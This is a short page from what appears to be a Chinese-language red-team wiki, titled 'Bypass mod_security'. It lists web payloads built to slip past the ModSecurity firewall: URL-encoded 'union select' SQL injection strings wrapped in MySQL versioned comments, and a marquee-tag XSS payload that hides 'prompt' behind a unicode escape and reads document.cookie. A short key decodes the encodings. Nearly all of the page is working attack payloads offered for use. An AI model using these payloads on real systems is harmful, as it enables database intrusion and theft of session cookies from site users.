> For the complete documentation index, see [llms.txt](https://www.heresecurity.wiki/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://www.heresecurity.wiki/redteam-hong-dui/bypass-ji-qiao/bypass-mod_security.md).

# Bypass mod\_security

```
Xss和注入bypass mod_security
/*!50000%75%6e%69on*/ %73%65%6cect 1,2,3,4... –
<marquee loop=1 width=0 onfinish=pr\u006fmpt(document.cookie)>Y000</marquee>
/*!50000%75%6e%69on*/ %73%65%6cect 1,2,3,4,5—
%75%6e%69on = union 
%73%65%6cect = select 
%75%6e%69 = uni = url encode 
%73%65%6c = sel = url encode
```